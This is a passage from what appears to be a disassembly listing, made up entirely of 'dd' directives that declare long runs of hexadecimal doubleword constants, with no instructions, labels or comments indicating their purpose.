		dd 0E54B300Ch, 17B5B3D8h, 86764311h, 7BE691CAh,	27A7C2C8h
		dd 9D6A533Eh, 9DD27E30h, 71099057h, 372AD947h, 4D193F8Bh
		dd 6558291Dh, 586E5996h, 4D3EFB93h, 0A03B2C17h,	82E88A46h
		dd 0AA022968h, 4E824F74h, 64B562D8h, 0F010A31Dh, 44021F15h
		dd 0A49B7076h, 0A934F3A2h, 0EB3B4108h, 0F959AC29h, 9653677Eh
		dd 8BDC5F85h, 459F2F25h, 79398DDCh, 0E8BA6399h,	4F801F35h
		dd 9F3A2160h, 0D373A740h, 8BD69C05h, 41C43E4Ah,	0A2F75783h
		dd 0CFBCBB97h, 0EA9F025h, 59BC133Bh, 0C0EC747Bh, 2B5D1E70h
		dd 0DEDA2F7Dh, 0B2F72DEBh, 766DCE93h, 456B5CEh,	24BD8DB6h
		dd 510FAD59h, 32368FB7h, 0B4F6A5C5h, 58BAEB3Bh,	3B0B6727h
		dd 7AE25EB0h, 39C5CECAh, 65A6CC7Eh, 0DD446098h,	0A2996FC9h
		dd 0FBC158DDh, 0EC53954Ch, 5423FF5Fh, 0F0C499F7h, 9C089844h
		dd 95E83F2Ah, 85CB6631h, 0A8EB02EAh, 0A18BE86Fh, 158B9F8Ch
		dd 62E5F78Fh, 53708B7h,	475CEEBCh, 1A50B0BCh, 0A5B59C40h
		dd 105DF90Ch, 444C0365h, 4230019Dh, 0D2420E0Eh,	3BD40D2Fh
		dd 0C96089CFh, 806EA9E1h, 185F4BDh, 26501CEh, 798653Ch
		dd 97084E40h, 6583349Dh, 431DEB9Ch, 196782F8h, 98C4C057h
		dd 659834D3h, 0A5B9EA5Dh, 18CE1DE8h, 9627A148h,	0E782C685h
		dd 4079181Ch, 0EB837C61h, 3ACACC6Ah, 5D83C6A9h,	3CE5BA7Ch
		dd 0DDAD4FD1h, 0FA6F9A60h, 0F01A8932h, 0FC3B4DD6h, 8665173Ch
		dd 0B08DD8B6h, 69301619h, 7472E228h, 0C361C231h, 691CBCC1h
		dd 1CA7947h, 624B5C05h,	78C3E729h, 0BAD11A03h, 0D7C81E06h
		dd 0B271967Bh, 0EF46389h, 126B407Bh, 16D99B5Dh,	0AD34059Fh
		dd 1B5A4661h, 23725A8Fh, 26BC713Eh, 0F6CA41D4h,	54AE7A37h
		dd 81119592h, 2BD2B9C3h, 283030B9h, 7B492B3Eh, 551D2F97h
		dd 57395C8h, 8F3BE472h,	3BD22968h, 5026CE2Ah, 168CB52Dh
		dd 0A03B8852h, 4BAC50DAh, 5FF09064h, 3B0A1441h,	1FE87C2Dh
		dd 2E9E0B93h, 40ADAC59h, 0AA4F2602h, 0A792ECA3h, 0F7442351h
		dd 445ADAAAh, 5283B845h, 0B7115967h, 0CDF9ABDh,	0C0B385C5h
		dd 3DE0BEA2h, 30A5267Eh, 328A3FECh, 30694F01h, 1557100Fh
		dd 70A3B2Eh, 7F0938B3h,	8B3454C4h, 89142B7Ch, 0A048273Dh
		dd 8523BAABh, 2A3F6566h, 0CF36AC61h, 3E018C0h, 2B1C1274h
		dd 0FE5D3EB3h, 51DE1DC5h, 2423C9Fh, 0BFCA3540h,	0A0360E0h
		dd 21652796h, 77813B4h,	23B9DA69h, 0A6C114A3h, 461DFCF7h
		dd 6677252Fh, 923BE6C6h, 7824830Ah, 799E19Ch, 5453C774h
		dd 7666DC76h, 0F47BCB84h, 4C333E1Eh, 0FD3DCB96h, 0F4AB9ECAh
		dd 61C0E880h, 2340E4F8h, 515EDCFEh, 0D30C5C0Bh,	8CAC7C48h
		dd 0E5DF4A9Eh, 4C72F68Bh, 6E603B9Eh, 0CF62268Ah, 17D849DCh
		dd 40C93A5Ah, 63ECFAB5h, 1006C09Eh, 0AD0347BDh,	0F1739D5Bh
		dd 0E38D69DCh, 7D06DD40h, 0B22087B1h, 3BF0D9F5h, 7AAD32A8h
		dd 96933306h, 3132208Ah, 8AB81DAAh, 2A173989h, 54F25AECh
		dd 0E80C3F7Bh, 7E06AE15h, 43613EE7h, 0B0B3517Ch, 0F6F989Fh
		dd 0AF404F11h, 0D04E0735h, 8B551A22h, 5F2BD8B0h, 98A56A89h
		dd 60886645h, 36352D1h,	0ECB82FF1h, 83383DEFh, 30D4B307h
		dd 56006D20h, 2324222Fh, 20AF7F8Ah, 6388F843h, 0A3437280h
		dd 4F380B0h, 84C4E194h,	774C8D40h, 10605828h, 69F0A91h
		dd 7116C2CCh, 790722A0h, 0C026C1E9h, 1E6DC17h, 65EF5916h
		dd 0FC60D27h, 0CF90238Bh, 0A25BD7E0h, 0C03B605h, 11F650DEh
		dd 50FC4B0Ch, 57900920h, 81A124E9h, 3FDC6037h, 0E0AF1A81h
		dd 0AD0E687Ah, 135A1A23h, 0B00AA2ECh, 2BAB310Eh, 17CF7B11h
		dd 0D5F80AB0h, 0DED8EB33h, 64587AB9h, 0B27ACBE3h, 7AC5494Dh
		dd 0C350D746h, 45A157A9h, 3F633E45h, 7B77B957h,	7B7B91D6h
		dd 146AEB22h, 5588324Ah, 0E60FD5C5h, 8AE2462Fh,	9EBC536Ch
		dd 7BCD819Eh, 3977A32Eh, 0B271DAAAh, 1A23194h, 3A80B446h
		dd 4F03759h, 0CC60EBD6h, 0F92841ADh, 37772FA4h,	4FD4966h
		dd 7BA9BD58h, 2C8CCB72h, 0DB62EB91h, 0C5A0AE31h, 0C15070BAh
		dd 26182D2Eh, 8C110B8Dh, 0D2AC462Eh, 0C11F5738h, 0A1E04240h
		dd 681B1447h, 3EBE1CACh, 44386220h, 639C59E6h, 6B3611C5h
		dd 864547Ch, 0E61624DCh, 89827293h, 0D09CD208h,	97D0753Dh
		dd 141815D5h, 363E1AF1h, 0FB3A43E8h, 7FBACF93h,	0C600304Eh
		dd 72181E77h, 14431EC3h, 0C105CCE9h, 5866A09h, 25177C45h
		dd 0E24814DDh, 2ED1E4AAh, 0BC683B6Ch, 0A32B6503h, 86B4E548h
		dd 0A263A421h, 0DC08C2Eh, 0D62E3A64h, 0A56FB2B4h, 23003BF1h
		dd 2DCAF4DCh, 2E3CD3BFh, 4F34DACEh, 2FA128AFh, 0A1C4E410h
		dd 8FECBEAEh, 9B2DBC34h, 317A313Ah, 0BB3FE7D4h,	0C5118B83h
		dd 4715A296h, 0BDF6A0C8h
		dd 47F72EDh, 406445E7h,	0DE8240C5h, 0EB4B5564h,	0D3AF228Ah
		dd 0CAADAD05h, 16EE5B3h, 2841744h, 5195048Fh, 303A5178h
		dd 648CD6D5h, 6C51D5EDh, 0F6D53097h, 33B8A388h,	0FE14211Dh
		dd 0E03D06E7h, 44572FB0h, 56B52980h, 56AB2C5h, 4E23405Eh
		dd 60D69BCh, 7E6262C6h,	88851AC9h, 538DD53Eh, 3218AC84h
		dd 0CFCFA65Ah, 1688A7DEh, 6CEA2D55h, 79FD2E89h,	52EC8094h
		dd 0B2BB042Bh, 2AECE5CAh, 0F5C41CE3h, 0B99D1F14h, 0A2F8DFD0h
		dd 0AD1B237Ah, 33266BC6h, 1F0C07FAh, 47B8AA13h,	5E5A52BBh
		dd 0A576AEE7h, 58173C18h, 6309717Bh, 44DAB68Eh,	444CADA0h
		dd 0A84B26DAh, 0FE5E26Dh, 1012073Dh, 0A3283189h, 0A2086811h
		dd 0A0FC6911h, 31286A11h, 0AF93682Fh, 55AA0AB8h, 0B5ADC348h
		dd 20D6ED4Ah, 4C2CE0A0h, 44B6F222h, 0A965D797h,	0FDACF9B7h
		dd 8BE8FA2Ah, 0AC1B857Ch, 0CEA057CEh, 71FDB7CEh, 0C844A9E4h
		dd 9F5A0160h, 3965BC25h, 0C901CB13h, 8D6355F1h,	0E62CF9AFh
		dd 908A3790h, 6127A975h, 0F963B1BFh, 786192E6h,	4BCF6B15h
		dd 0BAB3F14h, 8E2CD409h, 8AA9EC34h, 7EE5CCFCh, 0A2C104CCh
		dd 210850Fh, 9D282908h,	0D952B153h, 62E93045h, 0D1805D2Ch
		dd 0EA561501h, 5515FC5Ch, 0B938813Eh, 0E7C1AFA2h, 0E55729B4h
		dd 0AA859A00h, 148AD9FCh, 20A1E0BCh, 629565B1h,	881668FEh
		dd 0CD95EAF9h, 0B3ED57DBh, 387DD9C9h, 0E20312B3h, 0DC5D0FC1h
		dd 0B444698Fh, 1A5D5906h, 0BA1F177Ah, 1A5858DDh, 2BD3E440h
		dd 761F8D0Dh, 35075008h, 36F11883h, 0C179D8DEh,	0F146600Eh
		dd 81FBA050h, 0DA9D10B4h, 22BBEBC6h, 0D861B78Eh, 0F91BD5E9h
		dd 2A12A453h, 381B5D53h, 0B909CBECh, 0DCC1619Dh, 0F92A9087h
		dd 54E2CEA7h, 49E70237h, 0F6A273AAh, 0AB0D5068h, 0F02954D0h
		dd 75C56BF8h, 0BA752E14h, 3F6D988Bh, 3651A04Fh,	4ABB17C6h
		dd 7517446Dh, 5A8AE4FAh, 5FD77425h, 0D62F6499h,	582E717Ch
		dd 66FE93E1h, 0AD435269h, 2D1080C7h, 5C1E5209h,	0D3FFC330h
		dd 0AA91C635h, 55BD2AE9h, 387DB52Eh, 0AC8F1102h, 25D19820h
		dd 0E3A76F94h, 0C580625Bh, 5D6F5B85h, 70822F5Ch, 7ED21D3Dh
		dd 0E9E17EF2h, 3CC56009h, 97C9F22Ah, 24F6F27Bh,	68D35530h
		dd 2F5602BBh, 0E8BBAEA4h, 550B3FC8h, 0D282A043h, 2C58A200h
		dd 0E40857C1h, 416827BAh, 57E41C60h, 0AFF28E1Bh, 34A7EAB8h
		dd 0BA02E385h, 0C3083FCBh, 5F1AE1A4h, 0BA0281D4h, 3957064Bh
		dd 0A44D9961h, 1999C2Fh, 0C685580Bh, 5CC3404Eh,	6E8A7A8Bh
		dd 32E84AC5h, 2687720Ch, 9AB5551Fh, 0D938ED05h,	0E7CC5A30h
		dd 9CA0ACF4h, 8560AA01h, 6D2B4601h, 0CAFDEABFh,	0B955287Ch
		dd 95567FF4h, 8A256795h, 0A945A7CAh, 1A2A1316h,	2AADD7CBh
		dd 47981390h, 4075FD91h, 15D1DBEDh, 634A45h, 25F4FD22h
		dd 507338D6h, 6006567Dh, 77F7028h, 4EBDD6EDh, 22A39523h
		dd 0E070318Dh, 1C95D3C7h, 9AAE09C4h, 9A2FC5DCh,	330E5F87h
		dd 0AE9E222Ch, 0C7F0E1B4h, 0EFA232BBh, 85E7648Bh, 0C945E197h
		dd 124F1773h, 4BE03C0Ch, 17477DD7h, 6CADBE79h, 7621E675h
		dd 883D0076h, 0FAA1173Ah, 1DD09C57h, 0A47AA70Ch, 388FD3F2h
		dd 51623E7Eh, 885F4597h, 9C6260E6h, 5E81E129h, 5DCF32EFh
		dd 759AA459h, 70C99C6Bh, 64718534h, 915AEABAh, 83CA2577h
		dd 0C9C17AA1h, 4809CA61h, 488159BFh, 3A940196h,	0F071857Ch
		dd 9B400753h, 1BF37D19h, 93117D7Dh, 3E844869h, 0BBF05F99h
		dd 92AB148Ah, 7F1DD4BAh, 0F2EA40CAh, 0B7F036CEh, 41934BCEh
		dd 2C6DC5FAh, 2B44E862h, 822C0832h, 845513E8h, 48EA6D02h
		dd 0EFD8B872h, 902ECD08h, 5020B9FAh, 9746A9FFh,	72048F16h
		dd 0D5F41115h, 0F48CC062h, 3F173EC7h, 0EF60C77Ch, 7AE65D3h
		dd 37840ECCh, 0A182D611h, 0A5707680h, 121A44A4h, 3A444768h
		dd 6874449h, 0A79691DAh, 0E621911h, 75CFC1F0h, 0ABF14061h
		dd 24047E3Ah, 0F1DC4F0h, 5DF95486h, 5E065310h, 1B54B83h
		dd 3E620BEBh, 274872EBh, 443CC1F6h, 54B90925h, 0C40B55C9h
		dd 0B07D318Ch, 0A7B23BE1h, 5F185D6Fh, 0ED519816h, 15BDC70Ah
		dd 0F7E0175Ch, 0F4A0150Fh, 3490CBECh, 6FC193E0h, 17E8550Bh
		dd 8C4AEC6Dh, 56D8FCA6h, 0D7DE6695h, 710F8C68h,	0D29C419Dh
		dd 595F04A1h, 0C6645F60h, 4259CD1h, 20BCC2FBh, 0F86C7588h
		dd 4D9C60A3h, 0B0C0429Ah, 948C4EA2h, 527FFF87h,	0DCE9BBA2h
		dd 0C5980BAFh, 593102BAh, 6F28C0B4h, 0A9FC6AFBh, 7A34EBD1h
		dd 552F821Fh, 0DA060725h, 0F543061Eh, 0F3D2251Ch, 2ED82B00h
		dd 726ECAAEh, 0E114B01Bh, 26A055D1h, 7D837240h,	1AE46240h
		dd 0C1145E3h, 40A8CBA4h, 8A81D77Bh, 75695A2Ah, 253C9DCh
		dd 557ACE55h, 0DADC6BE0h, 0E7A3F997h, 8FB0E040h, 6A8C7572h
		dd 8931B0D6h, 0DFF8F4CCh, 0D7D8E65Bh, 8A31CEFCh, 0F67FE171h
		dd 9436517Eh, 929C5831h, 24094943h, 0A651AFC2h,	0A9407DE8h
		dd 79315948h, 0A9F675B4h, 0DA28A588h, 4EFEF0D8h, 0F9DD1DC0h
		dd 45FD7F9Fh, 3763C60Eh, 55958860h, 59885719h, 609BFE25h
		dd 0F8851957h, 9306F0ADh, 9962D12Eh, 68F0A900h,	0F1D16A05h
		dd 0EF126357h, 5E60AF6Ah, 80DF22B1h, 3CD6B2Ch, 0CAFAE3D8h
		dd 5BEE89AEh, 83471DB3h, 0E69A445Ah, 0D16F5271h, 1A802407h
		dd 0C61A27F9h, 984889E8h, 0D4FF9ECBh, 0BBA1665Ah, 3805DEA8h
		dd 0C9A8E501h, 0C0E27D8h, 12BA892Dh, 6239380Dh,	43D5C95h
		dd 0A7EEC168h, 0D15A1E0Dh, 0A9EB760Ah, 0A8CA404Eh, 91172F61h
		dd 993B4A40h, 7989722Dh, 27CDC922h, 849746A6h, 417DA1D0h
		dd 87AE5C11h, 80599F91h, 0AE5FE86Ch, 0B88F851h,	0FC7CD8F2h
		dd 0F9EFA24Bh, 493595E6h, 0F91CC7F9h, 18454FC7h, 69E25C7Ch
		dd 2C1FC631h, 2A885403h, 0FA443C75h, 0D67108ACh, 87D0197h
		dd 16D58392h, 83BFFB9Fh, 9B125306h, 0FDF408CBh,	0FC9EB98h
		dd 2AA47550h, 0DC38D826h, 435564BEh, 9EF6A833h,	0D7D45229h
		dd 54883C7h, 0CE7E5FF8h, 8D594298h, 2FFC1F79h, 5978B016h
		dd 1B23FBD6h, 30E372C1h, 1045A70Dh, 9F5AFE06h, 0A05F217h
		dd 3C989455h, 34F56A4Dh, 43A48A24h, 0C11803C7h,	8CB03A1h
		dd 0D184293Bh, 4DCFAC5Ah, 417DC73Eh, 0F79AA8ACh, 0C2A41FDAh
		dd 0DB7550D0h, 0BFC43A71h, 329DEFC2h, 2D64B8BDh, 5158C532h
		dd 0ABFD53FBh, 0A01189h, 103C118Bh, 761432D1h, 2EF2904Ch
		dd 4176A40Ah, 0FEE04B58h, 36D1174h, 0BD024514h,	5C1E1281h
		dd 0E970EE3h, 28BB0B8Ah, 77196287h, 0A554A026h,	428FC802h
		dd 6715834Bh, 3FA38C69h, 0B3730985h, 8D45052Bh,	5AD09FD1h
		dd 37FBD49Fh, 5133FFC4h, 0C45CFB46h, 9D56BB9Fh,	60D37431h
		dd 99615074h, 0D755A2FBh, 55E9AC41h, 939CAF16h,	2E8F1471h
		dd 149AFE54h, 0E6CC3212h, 197B2339h, 2D732AF3h,	8BFF6B2Bh
		dd 0FA20CC55h, 6E630222h, 0D1897332h, 8EE519E5h, 82B01E5Dh
		dd 22E393CAh, 0A9E0B34h, 80D1297Ch, 0FC4B9018h,	320E4053h
		dd 0CA0F86ABh, 506CA76Ah, 507B2DE8h, 93B72315h,	40D6604Ah
		dd 25CC6281h, 0D1F9EA8Ch, 82B5854h, 4B5A4154h, 0C1289AA7h
		dd 0EA3798BEh, 0D12C57CAh, 0AE337466h, 3A35F58Fh, 0CC501CDCh
		dd 5D5CBB3Eh, 5427676Dh, 88986147h, 455300FFh, 5671C1A7h
		dd 7BFBD599h, 0BEB1BD80h, 13CC8F30h, 99F40266h,	24F7C275h
		dd 28B56C0Eh, 17D44231h, 7737624Ah, 26BEEF41h, 154B2E5Ah
		dd 0A0912403h, 61719361h
		dd 95831256h, 0AFB46BA7h, 5243116Bh, 1846BF85h,	0AD9E8D26h
		dd 9AB701A5h, 6953A1BCh, 31DAF150h, 0F30AF88Fh,	5EDA2C97h
		dd 1E62ACC6h, 0BFB6C5C3h, 0C9B9AC5Ah, 9746A8CCh, 42F48C67h
		dd 9A112479h, 0BED65ABFh, 38A67994h, 0C1442E65h, 4CD0438Eh
		dd 547A7D62h, 49286395h, 0A7AC24Ah, 7457AAA4h, 9E67EA0Bh
		dd 2D799592h, 1BE1C665h, 37B05512h, 0C7F91645h,	60C614E9h
		dd 2CFD1D31h, 9688A6F9h, 0B242021h, 0CE6443AAh,	5C77C177h
		dd 5F680525h, 0EF0AE75Ch, 0B4883222h, 2AF0B123h, 68707ED8h
		dd 28CA7F87h, 514F0C66h, 303DAE48h, 74CB4913h, 618BA2FFh
		dd 80092480h, 498E2277h, 0F86EB45Ch, 0FB43AB4h,	1D0084BAh
		dd 0EA7081D6h, 5E3BCD4Ch, 5D20BEA3h, 1056A683h,	0A0628A95h
		dd 20FC517Ch, 0CAA9A2DDh, 9055B482h, 1A58097Dh,	0BD30E054h
		dd 557C87A7h, 0B8EF8247h, 4AE73563h, 1B6861D9h,	9B635405h
		dd 568D79B9h, 693AE31Fh, 0A763C639h, 75A2A4EAh,	0DE6822Dh
		dd 0DDC62B63h, 0AD83A38Dh, 7B3B6CC6h, 0CC1C4281h, 70A2F6BAh
		dd 0FA6A8AFEh, 2A268153h, 0B5A29246h, 0C3DC493Ah, 0D11AB2FAh
		dd 52E2C4D4h, 0CD2038EEh, 8E5EEAC5h, 6660556h, 2D2F29BDh
		dd 895AAA26h, 0A97AAB31h, 0AC2E4553h, 0AD6A5AAEh, 0F4A82C4Fh
		dd 4A7F9200h, 8E7A416Eh, 3828E985h, 89777B8h, 0B7A80CDDh
		dd 5FF9C5BEh, 31960497h, 0E01CACA1h, 0A7749708h, 0A85D6171h
		dd 998841B7h, 0D6B9FBF5h, 44665F7Ah, 9E761E61h,	9A1282AAh
		dd 0ED2E81EDh, 48D23089h, 440689F3h, 506827F0h,	786B54E2h
		dd 32F03A21h, 13B163ECh, 2D51D755h, 19F9A4E8h, 65F540BDh
		dd 99019417h, 0C52822FBh, 0FBCA49C1h, 0FC9A08ECh, 0A200C513h
		dd 2B544F0Ch, 0A128D3EFh, 8C2C0349h, 0AA923F61h, 675658A3h
		dd 0CFBC87E1h, 6A74AD23h, 0C2EFAC28h, 0B4E0F6B3h, 0BABCACh
		dd 3A9CCA25h, 0E60E3938h, 590E2A9Bh, 6E4D1F79h,	8BA32A99h
		dd 9C1A1A35h, 0FBD74390h, 83B977BEh, 29629BC5h,	2CB07C68h
		dd 0CCF8610Dh, 94A665AEh, 148AFC5Ch, 0A8D61852h, 0A91A2ED2h
		dd 0CDA8FCC3h, 25B7507Dh, 6124255Ah, 7C4B35DAh,	0B0A9785h
		dd 346348C3h, 5CA2A517h, 0A3EE8B44h, 0C38DDEh, 0B8BF7C25h
		dd 499CE930h, 5102A702h, 4D40491Fh, 8C857D65h, 77047957h
		dd 0D2F201F4h, 21C6F141h, 0F4E5FA4Ah, 6C2EE079h, 7D045F1h
		dd 0EA70129Fh, 2175262Ch, 70A5CBB7h, 545F3414h,	0FA377522h
		dd 0FB722194h, 572856CBh, 4AEB98F7h, 307DB0BAh,	0DBB369A0h
		dd 0F8BF2D14h, 8BE6EF11h, 1822E33Bh, 3A90FE4Bh,	2CF957EAh
		dd 0BACBE87h, 87C545D2h, 0EE7C2D83h, 0DA8FD3D6h, 0E254DD45h
		dd 852E9DDEh, 0D607D6Bh, 0C32791A6h, 773D0CA6h,	0D27C7C17h
		dd 0DB8DBBD7h, 0FA7EE1E7h, 0EBF8230Ah, 0A3C21452h, 8B30A12Eh
		dd 11453B9Dh, 1553A345h, 43CFAED2h, 0A3BF7C31h,	0CC7AA8E2h
		dd 0D1197894h, 5362B909h, 9B45D879h, 0F2840EE8h, 0C32F17F1h
		dd 85273FA1h, 0FC6E303h, 0FA8762E1h, 77CAAFDh, 519542C7h
		dd 65E8C0AAh, 9820064Ah, 61044464h, 4D3C2AA2h, 459C531h
		dd 9043C085h, 0F65D8302h, 0E82AB2B5h, 7A9EA18Fh, 0E0EC7D17h
		dd 0E24B2CC9h, 7426554Dh, 23F0607Dh, 0C686C282h, 0ADC0D8B8h
		dd 39143503h, 1487F30Fh, 89424F3Fh, 4AA1549Ch, 0EAD57321h
		dd 1BD77354h, 886172CBh, 48C6D1D1h, 12C7937h, 6C40FF3h
		dd 8A366B15h, 351E41F0h, 2B1790BAh, 0E46B9208h,	0DAFF1C63h
		dd 2936F5EAh, 4DD775BAh, 0C883E489h, 0E6FEA617h, 24CB0774h
		dd 21B0BEC6h, 44A280A7h, 0B16680A9h, 0DF44927Ch, 154229E2h
		dd 427262E9h, 0FB10192Bh, 49A70497h, 84A98D99h,	258CE018h
		dd 0BA8FE25Dh, 616D26F3h, 5E050916h, 21753D37h,	0A2F31AABh
		dd 0A3FB2A51h, 1317E8BAh, 0C6229086h, 0ACC5F384h, 5DB98DB3h
		dd 86BFB1EFh, 0C1C9B4DEh, 0D35DB714h, 0CFE40ABAh, 69AE51B7h
		dd 48080C06h, 98491B10h, 32C25B44h, 9240E0C4h, 0C0CC4D80h
		dd 142743A1h, 8A850491h, 5AA3B952h, 0A8C5DA1Dh,	7C2A210Dh
		dd 2161D7DAh, 0CD22A32Dh, 38971153h, 0C486AC18h, 55C31949h
		dd 2B85E757h, 6BF0450Ah, 5FD208E2h, 4F1F6F44h, 1F783E0Dh
		dd 70481C2Ah, 63A8BF16h, 0A138434Dh, 0AAB2C662h, 4F5E830Dh
		dd 0ABA0826Eh, 0D5615A49h, 0A9439A4Bh, 0BCDC31A6h, 0C601B8Bh
		dd 0AA8385E9h, 0EE4885D9h, 7EFE0572h, 282EA745h, 0B4108943h
		dd 77ADB22Bh, 0E5D7A54Dh, 0C48A9838h, 674058ABh, 0E64C3AE0h
		dd 1744497Ah, 816B46CDh, 6111588Bh, 66C0D714h, 814ED652h
		dd 52E74F5Eh, 0AF9545ADh, 7A073418h, 0CD68DFB4h, 0C1207E74h
		dd 80377425h, 862345E2h, 3FBA1046h, 4BD7F1Dh, 604AC494h
		dd 0C40806h, 0CADAA8ECh, 857A0D43h, 7902F1C2h, 46C062ACh
		dd 45E98FECh, 5117D710h, 0D184DA34h, 0AED1A428h, 5D7E5E83h
		dd 93DC6F54h, 0D020D9CBh, 0D247F016h, 228A2A05h, 0CAC7DE3Bh
		dd 0BF37EDAEh, 9D312A8Dh, 0EE863D0Fh, 2D25D25Ch, 57AD182Dh
		dd 603CF0B9h, 2CD5D192h, 0B2BAC323h, 0C1FF9749h, 5D8F9694h
		dd 21418CB9h, 0C0C1CA06h, 98D0506Dh, 8851EDF1h,	408B0D95h
		dd 0CEB39A66h, 59DDB772h, 2D15A24Ah, 346194BCh,	0AFB40546h
		dd 157CC686h, 84C56A45h, 6D14552h, 2FBAA323h, 8F73E933h
		dd 9D11321Bh, 5B78F60Ch, 45F47C18h, 6D05023Ch, 50F283C8h
		dd 22165B00h, 7E75581Bh, 76FB77D3h, 7DEB727h, 26F342BCh
		dd 512EEC66h, 47FE9897h, 28D9E25Eh, 0F630F0C6h,	0F5ACF308h
		dd 0CD157F3Ah, 395A0D1h, 229E0315h, 9AF25B03h, 0F17C755h
		dd 0C6F91D0Bh, 0D7DED9E4h, 8D13F0BEh, 1E73B8BAh, 0D735DF86h
		dd 0F3780C6Dh, 4A5531A8h, 6934C3CFh, 6E7458DCh,	1D5E6BD4h
		dd 9E161EEh, 0B455ABFAh, 6883509Dh, 9185147Eh, 9490AD93h
		dd 0C9497DB8h, 5D6132E0h, 0DF56E884h, 5AF9FD26h, 514088CEh
		dd 0AE2B46A8h, 97A07545h, 0A347FA80h, 33D5ADD3h, 0C7575FA5h
		dd 177C69FCh, 618F6F58h, 0EAE0811Ah, 260A07FEh,	17EF5DF0h
		dd 0E51CF1C6h, 4EE3E260h, 8FA92AB9h, 2AB853BDh,	0A5E4DE49h
		dd 0C54735CDh, 0DF83317Eh, 4A1B40C9h, 80F2F15Fh, 3755F0B9h
		dd 0BABC9F9h, 658279FDh, 0FC2B6BF4h, 57AB80D8h,	0DD624031h
		dd 5D3773D7h, 0F37D347Bh, 0D260FECh, 280F18F5h,	32A74FD8h
		dd 794D4FE2h, 13D6B5F4h, 0C15915BAh, 6B206D7Eh,	0EDDA9288h
		dd 0A27E3041h, 80E2BD8Ch, 5EE62560h, 821FE523h,	95E5C5CBh
		dd 0F2A2315Ch, 0D0F02C66h, 0F91F50D0h, 0B34714AAh, 5B91863h
		dd 0B41FE0D4h, 61A5A11h, 0A4E59D4Dh, 0C7810246h, 530575FCh
		dd 6A3C138h, 5DF7CDFBh,	5781A58Ah, 0A1E5725h, 0F0898A05h
		dd 1FA7059Ah, 0A1E8B22Eh, 0FAEDE026h, 258B18E3h, 1F271105h
		dd 0E54B23BFh, 0E4A9D1FEh, 242BBC4Eh, 4296B203h, 62280BF0h
		dd 0DA128E98h, 1DA25091h, 51DA84C9h, 65342848h,	14834484h
		dd 0EAE88823h, 14E3E1A4h, 88DFF63Ah, 0B95D761Eh, 2D22EEC1h
		dd 4DB965B0h, 0B8286A1Dh, 1B542AECh, 82886995h,	0C08E7DFFh
		dd 5C283BA8h, 802B850h,	0D802EDAh, 0C5950B83h, 8984B040h
		dd 6475D2D0h, 12692645h, 0B1641F5Eh, 0C8B93B1Dh, 0B5AAD475h
		dd 14A55565h, 0D1691074h, 8FAE9578h, 7D22A2FEh,	0AB9ADCC7h
		dd 3581388h, 440809D4h,	5702862h, 5066F07Dh, 0FA8C99D8h
		dd 108FBBBDh, 0C4922972h, 25DD2EEDh, 16032D1Eh,	2660E66Bh
		dd 49F76EADh, 0A4632A23h
		dd 0D8BEF882h, 0C421F28Ah, 0FB91016h, 402EC442h, 2B21FA4Fh
		dd 1257B54Fh, 2A914D1Ch, 3CE6E62h, 339883D3h, 0AD67BE0Fh
		dd 8F03B1F2h, 0CBC09184h, 482F7ABCh, 2B94A178h,	54913C03h
		dd 0D3C90BDBh, 320B5D91h, 3046FA44h, 0D035E123h, 0AF80BA7Eh
		dd 0A79202h, 0F04B9EDAh, 93D0614h, 114FACD0h, 58120A1Ah
		dd 260271A9h, 0C5E57C01h, 0C13A6A14h, 58129025h, 8AED048Ah
		dd 0DA57A30h, 95A58F5h,	4350A04h, 5DD9E90Dh, 0AD21712Fh
		dd 2B088794h, 20A84945h, 0B3A28593h, 49D2C450h,	430A9504h
		dd 11236901h, 4D288A53h, 369988A4h, 0D58F121Ah,	4F535288h
		dd 197645D7h, 0D475E86Dh, 6437D69Dh, 5A05BE0Ah,	0DE01FBA7h
		dd 51A160CCh, 4F12ED00h, 5ACC4C18h, 4B84C581h, 20395603h
		dd 51481492h, 0B139F744h, 169787E8h, 6BDBC0h, 4858CADFh
		dd 0BC511B80h, 8BE8012Ch, 0F6D47D68h, 0B441CABh, 378703B5h
		dd 66496555h, 51553FC8h, 0EB5CF4D6h, 222029DAh,	30AA0A4Eh
		dd 155E61Dh, 401DF51Eh,	0D8764193h, 8DB507E7h, 54A530E0h
		dd 1D4713E5h, 14CBE6F1h, 0AD5C009Bh, 2325D614h,	84A21B46h
		dd 0D36E092Eh, 0F533FB80h, 500CDB85h, 107E99B7h, 93B6BE99h
		dd 0D45AEE7Eh, 4ED888F1h, 539631F9h, 0F06923C7h, 18184C5h
		dd 8DA0415Ah, 0D00CC601h, 0CC4B198Bh, 8D446C00h, 90E29ECCh
		dd 0A341021Fh, 4BF1B44h, 828CCB14h, 5FC8605Bh, 0E75EC6h
		dd 0B441067Fh, 0E3345A92h, 0A99D0705h, 6AA355D1h, 0A9565EA9h
		dd 0FC3507CAh, 5B5A8757h, 2A5397DEh, 0BE9688Fh,	46358AF8h
		dd 495D285Fh, 6A156BA6h, 5258BFF8h, 0ABA0DBFDh,	2A0F284h
		dd 9AC0232Eh, 0C58517BAh, 54222358h, 4D1557E2h,	0E7C99DD8h
		dd 0EE0F7E00h, 0C62C1483h, 0E7957A8Fh, 35721260h, 7C35A13Dh
		dd 0EA203CBh, 16F4140Ch, 630ABC6Fh, 0B32B6281h,	5831AAF0h
		dd 686AFD68h, 1B6BEACBh, 77E00F59h, 1EFA6307h, 23DFFE11h
		dd 47B1FC8h, 608F03FAh,	0FEEBD87Fh, 0F8551981h,	0CF8D6F0h
		dd 43D12500h, 0FAE521ECh, 8A8906B4h, 823F2F44h,	0C51DF938h
		dd 898FB68Fh, 18F5C863h, 47D149F2h, 0D7B601EFh,	3E4083FBh
		dd 623E4FCAh, 0F8A4E1EDh, 70C9CB29h, 0B351541Dh, 0C74C358h
		dd 3AD89A80h, 3BC750ABh, 0B22EF08Fh, 1D52919h, 2EE0C36Ah
		dd 2272C9DCh, 1FC5AAC0h, 798311BFh, 57EE5673h, 0EB04902Ah
		dd 0BF6F7C51h, 7F513F6Ah, 5D76ADF0h, 0CCB9722Eh, 0C321DAE8h
		dd 9A388CEh, 0C9F8CEBEh, 0F826BED7h, 0B3AFFEBAh, 1DADF307h
		dd 17E08270h, 5E20487Fh, 0B1D5559Fh, 0D2FD6580h, 0DDE7E3C4h
		dd 5C630129h, 7BED7665h, 9C6A8675h, 0F2B45A56h,	855C4424h
		dd 1DE869E8h, 4410E218h, 0BF73A1ABh, 4801FC12h,	0D18E4C21h
		dd 3EBCC61Ch, 0A0D632Bh, 0D4446E2Fh, 113B42D1h,	36ECD2F6h
		dd 5D7FAD0h, 0E16EE77Ah, 4237F4A0h, 0D97090Eh, 0C62A3130h
